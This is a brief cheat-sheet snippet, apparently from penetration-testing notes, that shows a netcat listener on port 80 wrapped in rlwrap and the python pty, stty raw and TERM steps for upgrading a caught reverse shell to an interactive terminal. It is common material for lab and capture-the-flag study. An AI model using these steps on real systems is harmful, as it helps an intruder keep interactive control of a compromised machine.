Last updated 2 years ago
sudo apt install rlwrap -y
rlwrap nc -nvlp 80 nc: listening on :: 80 ... nc: listening on 0.0.0.0 80 ...
python -c 'import pty; pty.spawn("/bin/bash")' ctrl-z stty raw echo; fg export TERM=xterm